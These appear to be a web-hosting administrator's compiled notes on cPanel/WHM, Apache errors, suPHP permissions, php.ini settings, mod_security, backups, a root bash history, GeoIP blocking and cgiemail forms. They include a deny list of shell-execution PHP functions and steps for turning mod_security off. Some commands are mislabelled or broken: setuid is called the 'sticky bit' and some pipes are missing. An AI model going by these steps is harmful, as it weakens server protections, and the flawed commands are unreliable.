Advantages:

1. Scripts will be executed with user privileges.
2. More than one PHP version can be run as CGI
3. Compatible with Apache module mod_vhost_alias (mass hosting module) due to our security patch
4. The patch modifies PHP's open_basedir automatically

Disadvantages:

1. CGI might use a little more memory (RAM). Therefore, it's not recommended to run PHP as CGI on slow virtual servers (vServer)
2. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files

FastCGI
============
PHP will be loaded as FastCGI module into Apache webserver.

Advantages:

1. Scripts will be executed with user privileges.
2. More than one PHP version can be run as FastCGI
3. Might be better in speed compared to CGI and suPHP

Disadvantages:

1. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files
2. complicated installation/configuration

=========================================================================

 Folder Permission 755 and File Permission 644 safe ?


I would like to request an assistant.

My server is configured to use SuPHP and PHP run as CGI.

May i know it is safe to have a folder permission 755 and file permission 644 ?

The reason i'm asking is that, i found out eventhough the folder permission is 755 and file permission 644, my joomla application seems able to write the uploaded file into the folder or alter a file that have 644 permission.

I'm thinking whether hackers also able to upload into that folder and alter the files from outside ?

Ans : 

" May i know it is safe to have a folder permission 755 and file permission 644 ? " , Yes these permissions are safe under Suphp.


The following are the advantages of Suphp ( it should run as cgi ) 

* PHP runs as your user/group
* PHP files can have permissions of 640 (hiding things like passwords from other accounts)
* Files/folders written by PHP are written as user/group (no Apache or other global user)
* Custom php.ini file per site (can add/remove security options)


Please note that suPHP does not allow permissions 666 and 777. The new writable permissions are 

Files: 644
Folders: 755

Also suphp will not allow to declare php variable through .htaccess. You can use php.ini file to declare php variables
***********************************************************************************************Apache not starting

Apache logs showing error similar to the one shown below

[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:47 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:47 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs

This can happen if domain name and cPanel user name is same

Do the following command

grep DOMAINNAME /etc/userdomains

ex, root@host [/usr/local/apache/domlogs]# grep txsp.net /etc/userdomains
txsp.net: txsp.net
root@host [/usr/local/apache/domlogs]#

If it shows domain name and username is one and the same, modify username from WHM -> modify accounts

and make sure that changes username in domlogs.
Apache 
httpd is the Apache HyperText Transfer Protocol (HTTP) server program


Q 1. How to check apache server path 
	
	Whereis httpd

Q 2. Ways to restart httpd

/usr/sbin/httpd -k start

/etc/init.d/httpd restart

service httpd restart

Q 3. How to check apache version

httpd –v

httpd –v

Server version: Apache/2.2.13 (Unix)
Server built:   Sep 23 2009 05:43:01
Cpanel::Easy::Apache v3.2.0 rev4791

Httpd –V

It will show the httpd version along with build parameters of httpd

Httpd –V

root@explore [~]# httpd -V
Server version: Apache/2.2.13 (Unix)
Server built:   Sep 23 2009 05:43:01
Cpanel::Easy::Apache v3.2.0 rev4791
Server's Module Magic Number: 20051115:23
Server loaded:  APR 1.3.8, APR-Util 1.3.9
Compiled using: APR 1.3.8, APR-Util 1.3.9
Architecture:   32-bit
Server MPM:     Prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APACHE_MPM_DIR="server/mpm/prefork"
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=128
 -D HTTPD_ROOT="/usr/local/apache"
 -D SUEXEC_BIN="/usr/local/apache/bin/suexec"
 -D DEFAULT_PIDLOG="logs/httpd.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_LOCKFILE="logs/accept.lock"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="conf/mime.types"
 -D SERVER_CONFIG_FILE="conf/httpd.conf"

Q 4.  How to check modules compiled with apache

httpd –l 

httpd –M 

httpd –l only shows the list of modules but httpd –M shows static and shared modules


Q 5. How to check apache log paths and how to view the logs


Error Log : record any errors that it encounters in processing requests

Access log : all requests processed by the server

1. Httpd –V

2. Open httpc.conf file and search for “ErrorLog” directive.

    Open httpd.conf file and search “ CustomLog”  directive

To check the logs : 

tail –f error log file path 


Q 6. . How to find out config file paths and how to check syntax of conf file.

Redhat and CentOS stores httpd conf file at : 

/etc/httpd/conf/httpd.conf

Apache is, by default, installed in /etc/httpd directory. But this path also depends on how apache has been compiled. Default configuration file name httpd.conf.

1.	Using find command:
# find / -name 'httpd.conf' -print

2.	Using locate command:
locate httpd.conf

	


	To check syntax of httpd.conf file

    After making any changes in httpd.conf file run following commands to check the     syntax : 

	httpd –t 

	Service httpd configtest


Q 7 How to check process running – apache process

lsof -i :80

(List open file system)

	Option –i : This option selects the listing of files any of whose Internet
		address matches the address specified.


Output : 

COMMAND   PID   USER     FD   TYPE   DEVICE SIZE NODE NAME
httpd        10978   root      5u  IPv4 34261427       TCP *:http (LISTEN)
httpd        11000   root      5u  IPv4 34261427       TCP *:http (LISTEN)
httpd        11010  nobody    5u  IPv4 34261427       TCP *:http (LISTEN)

Command: Command or a process involved
Pid: process ID
User: A user running the command
FD: The file descriptor 
Type: type of connection
Device: Device number
Node: TCP/UDP nodes
Name:  Ports that are awaiting connections have the keyword LISTEN appended to them.


 netstat -an | grep :80 | sort

Show only active Internet connections to the server at port 80 and sort the results. Useful in detecting single flood by allowing users to recognize many connections coming  from one IP.

watch -n 1 netstat -ta









Q 8. Apache  failed – different error and there solutions

1.	Error : Unable to open file
 		
		Check for the log file path and cd to it.
		Check the log file size 
		Echo > error_log
		Echo > access_log

	          Service httpd restart

2.	Error : httpd not started bad user name 
	
		Copy the user name
		Open httpd.conf file
		Search the virtualhost entry for the user name
		Remove the virtualhost entry from the conf file
		Save and exit
		Check the configuration of conf file 
		Restart httpd 

3. Error : Address already in use: make_sock: could not bind to address 0.0.0.0:443 no listening sockets available, shutting down
		This is caused by one or more processes running on the 443 (secure socket) port. To fix this problem first find the process ID's that are running on port 443:-
fuser 443/tcp
Out put of the command will show you list of processes running on 443 port no. Kill all process 
Kill -9 process id
Restart httpd service.
4.	Address already in use: make sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down
	fuser 80/tcp
    Kill -9 process id
5.	Error in error log : No space left on device: Couldn't create accept lock
			No space left on device: mod_rewrite: could not create 					rewrite_log_lock Configuration Failed
		Checking your disk shows that you have plenty of space. 
	The problem is that 	apache didn't shut down properly, and it's left myriads of 		semaphore-arrays left, owned by my apache-user.
		ipcs -s | grep nobody
		
		Removing these semaphores immediately should solve the problem and allow 			apache to start.
	
		ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print 		`ipcrmsem $a[1]`}'
		restart http service.	

	6.  Error

Apache generates semaphores and when it can not generate more, you should get an error like this:

"No space left on device:mod_rewrite: could not create_rewrite: could not create rewrite_log_lockConfiguration Failed"

You should delete semaphores to fix it.

Listing and deleting semaphores :
# ipcs -s grep apache
# ipcs -s grep apache perl -e 'while () { @a=split(/\s+/); print `ipcrm sem $a[1]`}'

It should be fine now :)

7. 	If you are getting error when you restart apache server 

[root@server httpd]# service httpd restart
Stopping httpd:                                            [  OK  ]
Remaining processes: 26467
Stopping httpd:                                            [  OK  ]
Starting httpd: Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
	Solution : 

You need to set the sticky bit for suexec. below is my path, so your suexec may be in a different place. refer to the link 

On shell 

httpd -V |grep -i suexec  it will give path for suexec

like 

root@bond [~]# httpd -V |grep -i suexec

 	-D SUEXEC_BIN="/usr/local/apache/bin/suexec"

root@bond [~]# httpd -V |grep -i suexec
 -D SUEXEC_BIN="/usr/local/apache/bin/suexec"

root@bond [~]# ll /usr/local/apache/bin/suexec
-rwxr-xr-x 1 root root 18190 Jan 23 11:03 /usr/local/apache/bin/suexec*

root@bond [~]# chmod 4755 /usr/local/apache/bin/suexec   SET sticky bit

root@bond [~]# ll /usr/local/apache/bin/suexec
-rwsr-xr-x 1 root root 18190 Jan 23 11:03 /usr/local/apache/bin/suexec*



Q 9. Main apache modules 
a.	mod_rewrite
b.	mod_security

a.	 mod_rewrite
			Mod_rewrite allows you to rewrite a webpage's url on the fly, and you can rewrite the url to almost anything. It has a lot of uses everything from redirecting multiple WebPages to a new domain without actually changing the title, to making dynamic pages appear static.

However, it is somewhat complicated to learn, and if you make a mistake its also possible to really mess-up your server and create endless loops. Need less to say I don't recommend messing around with this on you live site. The solution, if you want to mess around and experiment with it is, to run a test server on your own computer for test purposes. Apache by default comes with the mod_rewrite module installed but not enabled

This module operates on the full URLs (including the path-info part) both in per-server context (httpd.conf) and per-directory context (.htaccess) and can even generate query-string parts on result. The rewritten result can lead to internal sub-processing, external request redirection or even to an internal proxy throughput.
Configuration Directives

    * RewriteEngine
    * RewriteOptions
    * RewriteLog
    * RewriteLogLevel
    * RewriteLock
    * RewriteMap
    * RewriteBase
    * RewriteCond
    * RewriteRule

		
	How to check if mod_rewrite is enabled on server

	
	1. Create one directory in your account.
	2. create one .htaccess file in it 
	Options +FollowSymLinks
	RewriteEngine On
	save the above code in it. 

	3. Run the directory in  browser
	4. If -  
	 - No errors Congrats mod_rewrite engine is now enabled.
	
-	500, Internal Server Error If you get this message then mod_rewrite was not 	installed/enabled on your computer.

	

	


mod_security

	mod_security help to protect your server from exploits that are passed though apache. Mod_security does this by inspecting the information sent in apache and filtering out all of the "bad" requests as determined by the set of rules specified in the httpd.conf.

	


How to disable mod_security on server
comment out (put a # in front of) the AddModule mod_security.c line and restart apache



How to disable mod_security for that individual account ?

Error : 

[Sat Feb 07 08:14:37 2009] [error] [client 79.133.23.23] ModSecurity: Access denied with code 501 (phase 2). Match of "rx (?:^(?:application\\\\/x-www-form-urlencoded(?:;(?:\\\\s?charset\\\\s?=\\\\s?[\\\\w\\\\d\\\\-]{1,18})?)??$|multipart/form-data;)|text/xml)" against "REQUEST_HEADERS:Content-Type" required. [id "960010"] [msg "Request content type is not allowed by policy"] [severity "WARNING"] [hostname "www.nuclearfreefinland.org"] [uri "/admin/build/views/ajax/config-item/calendar/default/filter/status"] [unique_id "61e4N0g3s7cAAB0CYsUAAAAD"]

Error : Your webserver has the mod_security module enabled. As a result, you may see the "403 Forbidden" or "Not Acceptable" error messages after submitting forms that contain "curl", "perl", "set", etc. It is recommended to disable this module or reconfigure it so that these words are not forbidden.

If you are receiving the error for mod_security, access denied with error code 403 when you check the error logs for any account. You can disable the mod_security for that account by adding a simple code in his .htaccess


<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>


path 

Include "/usr/local/apache/conf/modsec2.conf"








Php.ini 

php.ini file 
•	What is php.ini file
		The php.ini file is where you declare changes to your PHP settings. You can edit the existing php.ini, or create a new text file in any subdirectory and name it php.ini.
•	How to locate php.ini file
		find / -name php.ini
		locate php.ini
•	Path of php.ini file
		/usr/local/lib/php.ini
		/usr/lib/php.ini
  		/var/cpanel/3rdparty/lib/php.ini
•	Main options in php.ini
* open_basedir =
	Error : open_basedir restriction in effect
			Solution : Security >> Security Center >> Tweak PHP open_basedir 				Security
		*. disable_functions = dl, system, passthru, popen, pclose, proc_open, 				proc_nice, proc_terminate, proc_get_status, proc_close, 
			pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, 				posix_setpgid, posix_setsid, posix_setuid
* Resource Limits
max_execution_time = 30     ; Maximum execution time of each script, in seconds
max_input_time = 60	; Maximum amount of time each script may spend parsing request data
memory_limit = 32M      ; Maximum amount of memory a script may consume (32MB)
	
	* display_errors = Off 

		Print out errors as a part of output.   Keep it off

		* log_errors_max_len = 1024
		
			Error log file size is set to 1024 bytes. 
		*  magic_quotes_gpc = On
		Magic quotes for incoming GET/POST/Cookie data.
* upload_max_filesize = 16M
	Maximum allowed size for uploaded files.
* * allow_url_fopen = Off
	As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a 			filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() 			statements (since PHP 5.2.0, allow_url_include must be enabled for these). See List of Supported Protocols/Wrappers for more 		information about the protocols supported by PHP.
		* session.save_path = /tmp
	 session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is 		the path where the files are created

.htaccess
Apache allows for decentralized management of configuration via special files placed inside the web tree. The special files are usually called .htaccess, but any name can be specified in the AccessFileName  directive. Directives placed in .htaccess files apply to the directory where you place the file, and all sub-directories. The .htaccess files follow the same syntax as the main configuration files. Since .htaccess files are read on every request, changes made in these files take immediate effect.
	
	Using .htaccess is enabled or not?

	<Directory "/">
    	Options All
    	AllowOverride All
	</Directory>

	# In the server configuration file, put
	#  
	#     <Directory />
	#     AllowOverride None
	#     </Directory>
	#  
	# This prevents the use of .htaccess files in all directories apart from those specifically enabled.



















PHPSuExec Explained

This webpage will explain file/directory permissions, the differences between running PHP as an Apache module and running PHP as a CGI with Suexec, and it will also touch on some common problems experienced when running PHP as a CGI with Suexec.

A Brief Overview on File Permissions

0400 read by user
0200 write by user
0100 execute by user

0040 read by group
0020 write by group
0010 execute by group

0004 read by world
0002 write by world
0001 execute by world

By adding the permissions together, you will come up with the number that corresponds to the permission. For example, 400+200+100+40+20+10+4+2+1=777 - read/write/execute by user/group/world. 

What is PHPSuexec?

PHPSuexec is the shortened term often used to describe running PHP as a CGI with Suexec. Running PHP as a CGI with Suexec creates a much more secure environment compared to running PHP as an Apache module. Below we will describe the differences in the two forms of PHP, with examples on how security differs with the two. 

PHP as an Apache Module

When PHP runs as an Apache module, PHP files work under the Apache user/group known as "nobody". For example, when a PHP file needs to write to another file or create/remove a file, it does so under the name "nobody". In order to allow "nobody" to do this, you need to set specific permissions on the file/directory, such as 777 - which translates to read/write/execute by user/group/world. This is insecure because you have not only allowed the webserver (Apache) to read/write to the file, you have also allowed everyone else on the server to read/write to the file as well!

Due to the above conditions, when a PHP file creates or uploads a new file under your account, the new file will be owned by the user "nobody". If you FTP into your account, all files owned by "nobody" will not be available for you to move, rename or delete. In this case the only way to remove the "nobody" owned files would be through a file on the server or to contact support and ask for the file ownership to be changed back to your username.

PHP as a CGI with Suexec

When PHP runs as a CGI with Suexec, PHP files work under your user/group. PHP files no longer require loose permissions to function, now they will require strict permissions. Setting your directories or PHP files to 777 will cause them to produce a 500 Internal Server Error, this happens to protect your PHP files from being abused by outside sources.

Under PHPSuexec your directories and PHP files can have permissions no greater than 755 (read/write/execute by your username, read/execute by group/world). Since you own your files, your scripts can function in any directory your user has created and can't be manipulated by any outside users, including "nobody".

Now, when a PHP file creates or uploads a new file under your account, the new file will be owned by your username. You will no longer have to worry about the webserver taking over your files and even more important, you will no longer have to worry about a stranger reading or writing to your files either! 

.htaccess

When PHP runs as an Apache module you are able to manipulate PHP using .htaccess - since .htaccess is an Apache feature. When PHP runs as a CGI, you can no longer do this because Apache no longer understand the PHP flags and values. Instead, when PHP runs as a CGI, you will need to create your own PHP initialization file, this file is called php.ini -- php.ini works almost the same as .htaccess -- it is simply a text file with directives that will be used instead of the servers default directives.

To give you a better understanding about how both work in regards to PHP, we have listed a .htaccess file and a php.ini file below.

.htaccess
php_value magic_quotes_gpc on

php.ini
magic_quotes_gpc = on

There is one main difference to the use of .htaccess vs php.ini -- a .htaccess file can be placed at the root directory and effect all subdirectories with just 1 file, php.ini does not work this way. A php.ini file needs to be placed in every directory and subdirectory that requires the altered directives. This is a downfall for using PHPSuexec, however we hope that in the future PHP can be written to handle the php.ini file in a more workable fashion.. Last but not least, there is a directive used in .htaccess that needs to be altered in order to work under PHPSuexec. The directive ForceType needs to be changed to SetHandler. For example:

PHP as an Apache Module .htaccess Style

ForceType application/x-httpd-php


PHP as a CGI with Suexec .htaccess Style

SetHandler application/x-httpd-php


It is important to understand that you can still use .htaccess for a variety of Apache functions, such as mod_rewrite directives, password protection directives, etc. The only difference is that it can no longer process PHP directives. 



How to check if phpsuexec is enabled on the server : 

You can easily check if your server has phpsuexec enabled by accessing your server’s phpinfo 

Simply look for the box which show 

 ‘Server API’ :-
“Server API:  Apache” , this means that your server is currently running php as an Apache module. If within the phpinfo page you see the following:-

 “Server API: CGI”,  then your server has a CGI installation of PHP with suexec enabled.


Common Problems experienced with PHPSuexec If your PHP scripts are reporting 500 Internal Server errors, please check the following:

* Make sure the directory permissions the PHP file is in are no greater than 755

* Make sure the PHP file permissions are no greater than 755 - 644 is the default permissions for files uploaded by FTP and will work fine for most PHP files.

* Make sure you do not have any .htaccess files which contain PHP flags/values or ForceType directives. These directives need to be handled differently, as explained above. Courtesy of hostmagik.


By default PHP on WHM/Cpanel is loaded as DSO (Dynamic Shared Object) module and is run by the user “nobody” by default. Though this method of loading the PHP module is normally the fastest way to serve PHP request, running it as using user “nobody” will be a real pain in the ass if you are serving multiple sites run by multiple users, you will be for sure run into file permission problems.
This is where the SuExec comes in play, every executed PHP scripts will be executed by the user who owns the VirtualHost that is server the request, this method has a lot of drawbacks too on both speed and security.
Anyway, if you still want to enable it then read on below.
1. Login to your Web Host Manager as root account then under the Service Configuration menu, look for the “Configure PHP and SuExec” and click on it.
 

2. On the “Configure PHP and SuExec” page, under “alter configuration” section, look for the PHP handlers and then change its values to “cgi” and then set the Apache SuExec to On. (by default the value is on)
 
3. Finally, click on “Save new configuration” button and wait til the Apache server restarted and your done.
To verify that SuExec is working as intended, try to upload a file or create a folder using an upload file script on PHP.






	






 		


	
	


How to enable  Choose Log Programs for Awstats from cPanel :

1. Go tot Statistics Software Configuration option from WHM
2.  Under User Permissions section click on Choose which specific users can modify their web generating software. Choose users button 

3.   add the perticular user and configure and check cpanel again. It will get enabled.
	
If web logs are not working for addon domains then set the config file for the addon doamin 

a)LogFile="/usr/local/apache/domlogs/lolcritters.com"

b)DirData="/home/tradesma/tmp/awstats

c)SiteDomain="lolcritters.com"	MinMax Servers - Configure Backup
_________________________________

Overview: Keeping 2 sets of backup data is not possible due to the fact that the primary/secondary drives on the servers are the same size, and the primary drive is often over 70% full, attempting to keep 2 backup sets is causing all backups to fail.

Solution: Keep a single weekly backup set (we set it as daily run once per week) and shortly add a daily backup for dynamic data (i.e. MySQL Databases)

This configuration is to be set in all servers WHM at Backup > Configure Backup

Backup Status:	[X] Enabled

Backup Interval: [X] Daily (Weekly/Monthly NOT selected)

Backup Retention: [X] Daily (Weekly/Monthly NOT selected)

Days to Run Backup: Saturday

Remount/Unmount Backup Drive [X] Disabled

Bail Out If Backup Drive Mount Fails [X] Disabled

Incremental Backup: [X] Enabled

Backup Accounts	: [X] Enabled

Compress Account Backups: [X] Disabled

Backup Configuration Files: [X] Enabled

Backup SQL Databases [X] Per Account and Entire MySQL Directory

Backup Access Logs [X] Disabled

Backup Type	Standard

N/A Remote FTP Host | FTP Backup User | FTP Backup Password | FTP Backup Directory | FTP Backup Passive Mode: N/A	
 
Backup Destination /backup
	
Notes:
_____

- Remove Any Weekly / Monthly Backup directories from the /backup drive
- cPanel Backup State & Disk Usage monitored by Nagios (in my dreams)
- Don't backup accounts over 5GB
- Instruct clients on the importance of backing up their data daily.
- Ensure Service Agreement details the Service Level
- Offer clients a daily backup service as a paid upgrade


Bash History :
=========
root@rhodium [~]# tail -100 ~/.bash_history
/etc/init.d/httpd restart
w
pico /var/spool/cron/root
/etc/init.d/crond restart
w
cd /backup/cpbackup/
cd daily/
ll
/scripts/cpbackup --force
ll
ping bassxplod.com
w
mail -vv test@ororico.com
hostname -i
top -cd2
vi /usr/local/nagios/etc/nrpe.cfg
exit
df -h
ping aksipert.com
top -cd2
/scripts/whoowns milliondollargoal.net
cd ~ilovered
cd /backup/cpbackup/daily/
ll | grep ilovered
/etc/init.d/pure-ftpd restart
nano /usr/local/lib/php.ini
cat /etc/pure-ftpd.conf
nano /etc/pure-ftpd.conf
nano /usr/local/lib/php.ini
/scripts/whoowns milliondollargoal.net
cd ~ilovered
cd public_html/
ll
nano .htaccess
/etc/init.d/httpd restartr
/etc/init.d/httpd restart
/etc/init.d/pure-ftpd restart
/etc/init.d/pure-ftpd restart
nano .htaccess
/etc/init.d/pure-ftpd restart
ll
/scripts/restartsrv_pureftpd
cd /usr/local/nagios/libexec/
vi check_crond
chmod 755 check_crond
vi /usr/local/nagios/etc/nrpe.cfg
/etc/init.d/xinetd restart
w
top -cd2
clear
poweroff
service network start
mii-tool
mii-tools
clear
update-inintramfs
clear
ifconfig eth0 up
modprobe e1000
depmod
depmod -a
clear
cd /etc/sysconfig/network-scripts/
ls
vi ifcfg-eth0
ifconfig
ifconfig -a
clear
"ls"
cd
ls
cat .bashrc
clear
cd /etc/sysconfig/network-scripts/
"ls"
ifup eth0
ifup eth1
ifup eth0
clear
ping 4.2.2.2
service network start
root
/etc/init.d/ipaliases start
cat /etc/ips
ifconfig
ifup eth0
exit
mkinitrd
mount /dev/sda1 /mnt/boot
mount /dev/sda1 /mnt/boot
fdisk -l
mount /proc
fdisk -l
exit
df -h
mkinitrd
mkinitrd --preload sd_mod --preload sata_mod --preload scsi_mod --preload ata_piix /boot/initrd-2.6.18-194.11.4.el5.img.sam 2.6.18-194.11.4.el5
mkinitrd --preload sd_mod --preload scsi_mod --preload ata_piix /boot/initrd-2.6.18-194.11.4.el5.img.sam 2.6.18-194.11.4.el5
passwd
exit
Big.NSJET Update

php.conf updated to:

# This file was automatically generated by the Cpanel PHP Configuration system
# If you wish to change the way PHP is being handled by Apache on your system,
# use the /usr/local/cpanel/bin/rebuild_phpconf script or the WHM interface.
#
# Manual edits of this file will be lost when Apache is updated.


# LibPHP5 configuration
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php5 .php4 .php .php3 .php2 .phtml

# End of autogenerated PHP configuration.


Updating user configurable PHP settings.
[info] recursion depth is set to: 2
Restarting Apache

These settings are now active.

The MIME types associated with PHP may have changed.
If you experience problems with PHP related settings in .htaccess files, ensure
those files use the MIME types specified above (the first value listed after AddType.)
Blank page with WordPress… How to Fix that ?

Maybe this helps someone…. when you see blank page with your WordPress blog you can use my tips to find bug and fix that annoying problem.

1. Turn off all plugins
2. Change theme to another one (refresh/check)
3. Creates or/and update .htaccess file
(you can browse it by linux console for example)
4. Edit and save post, permalinks…. stuff like that
5. Update to newest version of WordPress
6. Check what PHP version you have
7. Check this out:
WordPress should compress articles (gzip) if browsers ask for them
… in my situation this fix my blank page error.
8. Check error logs if there is something interesting about your problem

This (point 7) helps me with my CSS gallery. But I also generate problem with SilenBits and it was blank too…. the problem solved when i use this fix:
2. Change theme to another one (refresh/check)

So good luck and no WordPress blank pages for you !You can add the coutry below to block. 

DirectoryIndex index.php index.html

GeoIPEnable On

# SetEnvIf GEOIP_COUNTRY_CODE TR BlockCountry

SetEnvIf GEOIP_COUNTRY_CODE VN BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE BR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE NG BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A2 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE MA BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE IR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A1 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE DZ BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE PS BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE KE BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE TN BlockCountry

# ... place more countries here

Deny from env=BlockCountry

# Optional - use if you want to allow a specific IP address from the country you denied
# (See http://httpd.apache.org/docs/1.3/mod/mod_access.html for more details)
Allow from 10.1.2.3

<Files 403.shtml>
order allow,deny
allow from all
</Files>

deny from 77.105.18.33
deny from 123.237.228.239


******************************************************

Also you need to block the country from WHM 

go  to WHM >> Firewall configurations >> find CC_deny option and place the country code and restart csf.

******************************************************


If you found any domain which is causing the attack, 

copy the below code into his accounts .htacess to him from the server.

# SetEnvIf GEOIP_COUNTRY_CODE TR BlockCountry

SetEnvIf GEOIP_COUNTRY_CODE VN BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE BR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE NG BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A2 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE MA BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE IR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A1 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE DZ BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE PS BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE KE BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE TN BlockCountry

# ... place more countries here

*****************************************************************************************************************************************

HLOAD 


/usr/bin/lynx -width=1000 -with_backspaces -dump http://127.0.0.1/whm-server-status |grep GET |awk '{print $5 "   " $11 "        " $12"   " $14}'|sort -ginr|head -$1


Block DO

/usr/bin/lynx -dont_wrap_pre -dump http://127.0.0.1/whm-server-status |grep $1 |awk '{print "csf -d " $11}'

*****************************************************************************************************************************************

>> Yes the server is responding fine when I try to telnet to port 3306 from remote location to the server.

Please use the hostname address as 67.159.54.148, since the servers IP has been changed.

To ensure the remote connectivity, you can go to your local machines command prompt and do:

telnet 67.159.54.148 3306



>>  I see, but its odd that it takes so long to establish a connection to itself this could why it times out when it attempts a remote connection.


>> When I try to do telnet to the 3306 port, it responds quickly with the established connection. You may also need to check that the port 3306 is not blocked in your local machines firewall.

cgiemail shows Internal server error from cpanel while installing cgi-email

CGIEmail is another form processing script, totally different than FormMail. Some cpanel user uses this script for form processing but due to some server configuration it shows error "Internal server error" . Please follow the steps provided. 

1) Login to cpanel and goto file manager 

2) Then delete these four files cgiecho ,cgiemail ,entropybanner.cgi ,randhtml.cgi from cgi-bin folder

3) Then goto cpanel>>CGI center and click on the CGI email.

http://www.myname.com/cgi-bin/cgiemail/

contactu.html

<FORM METHOD="POST" ACTION="http://www.tri-stateparalegalservices.com/cgi-bin/cgiemail/contact.txt">
<INPUT TYPE="hidden" NAME="success" VALUE="http://www.tri-stateparalegalservices.com/thanks_for_your_message.htm">           
<div align="center">
<table width="539" border="0" cellspacing="5">
<tr><td><div align="right">Your Email Address:</div></td>
<td><INPUT NAME="email"></td></tr><tr>
<td><div align="right">Name:</div></td>
<td><INPUT NAME="yourname"></td></tr>
<tr><td><div align="right">Company Name:</div></td>
<td><INPUT NAME="coname"></td></tr>
<tr><td><div align="right">Address / Location:</div></td>
<td><INPUT NAME="address" size="50"></td></tr>
<tr><td><div align="right">Phone Number:</div></td>
<td><INPUT NAME="phone"></td></tr>
<tr><td><div align="right">Subject: </div></td>
<td><INPUT NAME="submess" size="30"></td></tr>
<tr><td valign="top"><div align="right">Message:</div></td>
<td><textarea name="message" cols="50" rows="10"></textarea></td></tr>
<tr><td height="30">&nbsp;</td>
<td valign="top"><INPUT name="submit" TYPE="submit" value="Send Message"></td></tr>
</table>
</div>
</FORM>

*******************************************************************************************************

thanks_for_your_message.html


<html>
<body>
Thank you.
</body>
</html>


*******************************************************************************************************


contact.txt   >>           create this file within cgi-bin folder and make 755 .


To: test@tri-stateparalegalservices.com
Subject: Message submitted on Website

Name               [yourname]
Company Name   [coname]
Address    [address]
Phone Number   [phone]
Subject of Message  [submess]
Message               [message]

*******************************************************************************************************
<form action="http://www.myhomeestates.co.uk/cgi-bin/cgiemail/test.txt" method="post" name="ResponseForm">
                                
                                        Name <input name="name" type="text" /><br />
                                        Address<br />
                                        <textarea name="address" style="width: 136px; height: 65px"></textarea><br />
                                        Vendor/Landlord
                                        <input name="Radio1" type="radio" value="1" /><br />
                                        Tennant
                                        <input checked="checked" name="Radio1" type="radio" /><br />
                                        Purchaser<input name="Radio1" type="radio" /><br />
                                        Telephone Number<br />
                                        <input name="telephonenumber" type="text" /><br />
                                        Property Requirements<br />
                                        <textarea name="propertyrequirements" style="width: 139px; height: 63px"></textarea><br />
                                       <input name="Submit1" type="submit" value="submit" /> <br />
                                        <br />
                                </form>



Save this as contact_us.html inside main domain name folder >> public_html

**********************************************************************************************************
Create now a    .txt    file 

EX.    test.txt

To: sales@myhomeestates.co.uk
Subject: Email Enquiry - My Home Estates

name                                    [name]
address                                 [address]
telephone number                [telephonenumber]
property reqiurements   [propertyrequirements]



Save this file inside cgi-bin folder and also inside public_html folder and make 755 permissions.



How do I change the Copyright message in the footer?

If you make a custom template and use your own graphics you may change the copyright as follows:

Open the includes/languages/english.php file in your text editor.

Find the following lines of code. We will be changing the text starting with “Copyright” and ending with the first “Zen Cart”.

	
define('FOOTER_TEXT_BODY', 'Copyright &copy; 200* <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>. Powered by <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>');


Change the

Copyright &copy; 200*


with your own text. Now replace the http://www.zen-cart.com url with a url that deals with your business or the url of your store. Finally replace “Zen Cart” with the name of you business.
Save the edited file to includes/languages/CUSTOM/english.php and upload it to your server
